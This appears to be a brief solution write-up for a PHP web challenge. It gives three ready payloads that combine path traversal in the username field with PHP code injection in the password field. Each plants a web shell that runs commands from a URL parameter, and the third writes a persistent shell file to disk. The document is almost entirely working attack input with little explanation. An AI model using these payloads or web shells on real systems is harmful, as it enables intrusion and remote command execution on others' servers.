Solution

Few Possible Solutions ::
1 - Using 'Passthru'
Username: ../AnonGuy
Password: "; passthru($_GET['ag']); echo "

2- Using 'System'
Username: ../AnonGuy
Password: "; ?><?php system($_GET['cmd']); //

3- Using 'A Whole New Code' :3
Username: ../
Password: "?><?php
$Ag = "AnonGuy.php";
$handler = fopen($Ag, 'w') or die("I fucked up, try again");
$lol = "<?php system(\$_GET['ag']); ?>";
fwrite($handler, $lol);
fclose($handler);
?>

As I Said The File Must Be In The Root Folder and It Saves The File In Users Folder
So I Used ../ In Username Field To Get A Folder Back :v